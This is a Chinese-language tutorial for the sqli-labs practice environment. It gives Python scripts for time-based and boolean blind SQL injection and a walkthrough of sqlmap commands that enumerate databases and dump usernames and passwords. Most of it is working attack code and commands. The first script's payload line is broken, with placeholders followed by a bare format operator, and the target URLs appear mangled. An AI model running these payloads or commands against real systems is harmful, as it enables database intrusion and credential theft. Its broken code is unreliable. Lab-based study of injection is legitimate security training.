目录
一、python暴力破解脚本
1.时间盲注脚本(get型)
# 导入模块:
import time # time模块用于计算请求的响应时间,判断条件是否成立
import requests # request模块用于发送HTTP GET请求url = 'http://127.0.0.1/sqli-labs/Less-5/' # 目标URL,每次爆破时需修改此处,改为需要爆破的网址
# 注入函数:
def inject_database(url):
name = '' # 用于存储最终获取的列名字符串
for i in range(1, 100): # 从第一个字符开始猜解,最多猜100个字符,‘i’为当前爆破的字符位置(外层循环)
low = 32 # ASCII码的最小值(可打印字符从32开始)
high = 128 # ASCII码的最大值(通常到127,这里取128作为上限)
mid = (low + high) // 2 # 二分查找的中间值# 二分查找循环(内层循环)
while low < high:# 构造payload(用于进行sql注入攻击的字符串)(关键)
payload = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns), {i}, 1)) > {mid}, sleep(0.5), 0)-- " % # 爆破时需修改此处payload来根据需要进行查询获取数据
res = {"id": payload} # 将payload作为参数id的值
start_time = time.time() # 记录请求开始时间
r = requests.get(url, params=res) #发送get请求
end_time = time.time() # 记录请求结束时间# 如果响应时间大于等于0.5秒,说明条件成立(即当前字符的ASCII码大于mid)
if end_time - start_time >= 0.5:
low = mid + 1 # 响应时间>=0.5秒→条件成立→字符ASCII>mid 调整下界,向上半区去查找
else:
high = mid # 无延迟→条件不成立→字符ASCII<=mid 调整上界,向下半区查找
mid = (low + high) // 2 # 更新二分法查找范围# 当循环结束时,mid就是当前字符的ASCII码
if mid == 32: # 如果mid为32(空格,但通常列名不会以空格结束,这里作为结束标志)
break # 退出循环,表示已经没有更多字符
name = name + chr(mid) # 将ASCII码转换成字符并拼接到结果字符串
print(name) # 打印当前已获得的部分
inject_database(url)
payload结构解析
(1)1' :用于闭合原查询中的单引号
(2)and :逻辑与,用于添加条件
(3)if(condition,true_value,false_value):sql的if函数,如果条件为真,则执行true_value,否则执行false_value
条件:ascii(substr(...))> {mid} 关键条件,等价于当前字符的ASCII码>mid值?
其中:
substr((select...),{i},1):从子查询结果字符串中取出第i个字符
ascii(...)将字符转换为ASCII码
如果条件为真,则执行sleep(0.5),否则返回0(对查询结果无影响)
(4)-- :注释掉原查询的剩余部分,避免语法错误
攻击流程解析
(1)爆破第一个字符:
检查第1位字符ASCII是否>64
若响应延迟→ASCII>64 → 在65-128范围继续二分查找
若无延迟→ASCII≤64 → 在32-64范围继续
重复直到锁定精确ASCII值
(2)转换并存储字
将最终`mid`值转为字符(如`mid=105 → 'i'`)
拼接到`name`字符串
(3)移至下一位置
'i+=1' 爆破下一个字符
直到遇到空格(ASCII 32)或达到100字符上限
2.布尔盲注脚本(get型)
import requests
url = "http://127.0.0.1/sqli-labs/Less-5/" # 每次爆破时需修改此处,改为需要爆破的网址
def inject_database(url):
name = ''
for i in range(1, 100): # 外层循环,遍历数据库名的每个字符位置
low = 32
high = 128
mid = (low + high) // 2 # 初始化二分查找边界
while low < high: # 内层循环,二分查找
payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid) # 爆破时需修改此处payload来根据需要进行查询获取数据
params = {"id": payload}
r = requests.get(url, params=params)
if "You are in..........." in r.text: # 填写网页查询结果为‘真’返回的字符
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name = name + chr(mid)
print(name)inject_database(url)
大体上和时间盲注脚本类似,可参考时间盲注脚本解析。
二、sqlmap工具
sqlmap是一个人开源的渗透测试工具,可以自动检测和利用sql注入漏洞,并接管数据库服务器。它支持多种数据库和多种注入技术(布尔盲注、时间盲注、联合查询注入等)
1.打开sqlmap
找到sqlmap安装地址,在路径处输入cmd打开终端
2.基本使用
假设目标url是http://127.0.0.1/sqli-labs/Less-5/?id=1(get型)
http://127.0.0.1/sqli-labs/Less-11/(post型)
http://127.0.0.1/sqli-labs/Less-20/index.php(基于cookie的注入测试)
进入终端后,输入的命令都需要以python sqlmap.py(运行sqlmap工具的命令)开头。
主要命令及参数
-u :指定目标url
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1
# 作用:对指定的url进行SQL注入漏洞检测
# 过程:sqlmap会自动检测id参数是否存在注入点(get请求),并尝试确定数据库类型和可能的注入技术
--batch :以非交互模式运行,所有默认选项都会自动选择,无需用户输入
--dbs :列出所有可用的数据库
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1 --batch --dbs
# 作用:自动获取目标数据库管理系统中的所有数据库名称
# 结果:返回数据库名
-D 数据库名 :指定数据库名
--tables :列出指定数据库名中的所有表
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1 --batch -D security --tables
# 作用:获取指定数据库(security)中的所有表名
# 结果:返回表名
-T 表名 :指定目标表名
--columns :列出指定目标表名的所有列
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1 --batch -D security -T users --columns
# 作用:获取指定表(users)的所有列名
# 结果:返回列名
-C "列名" :指定要导出的列
--dump :导出数据(即执行select操作并显示结果)
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1 --batch -D security -T users -C "id,username,password" --dump
# 作用:导出指定列(id,username,password)的所有数据
# 结果:将显示users表中这三列的所有数据
--forms :告诉sqlmap自动解析页面中的表单,并使用这些表单进行注入测试(自动识别表单并测试注入)
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/ --forms
# 作用:自动分析目标url中的表单,并测试表单中的参数是否存在注入漏洞
# 注意:通常用于post请求,如登陆表单
--data "参数1&参数2" :指定post请求提交的数据(指定post数据参数进行注入测试)
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/ --data "uname=1&passwd=1"
# 作用:手动指定post请求的数据,测试这些参数是否存在注入漏洞
# 过程:sqlmap尝试对uname和password参数进行注入测试
--cookie="uname=admin" :设置cookie(这里模拟已登录的用户,cookie中包含了uname=admin)
--level=2 :设置检测级别为2(级别范围1~5,级别越高检测越全面,默认级别只检测get/post参数,级别2会检测cookie)
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-20/index.php --cookie= "uname = admin" --level=2
# 作用:测试cookie中的参数uname是否存在注入漏洞
注意,首先要先登录进页面
才能有cookie
实用参数
--level :测试等级(1-5)
--risk :风险等级(1-3)
--proxy :使用代理
--user-agent :自定义UA(用户代理)
--random-agent :随机UA
--delay :请求延迟(秒)
--timeout :超时时间(秒)
--retries :超时重试次数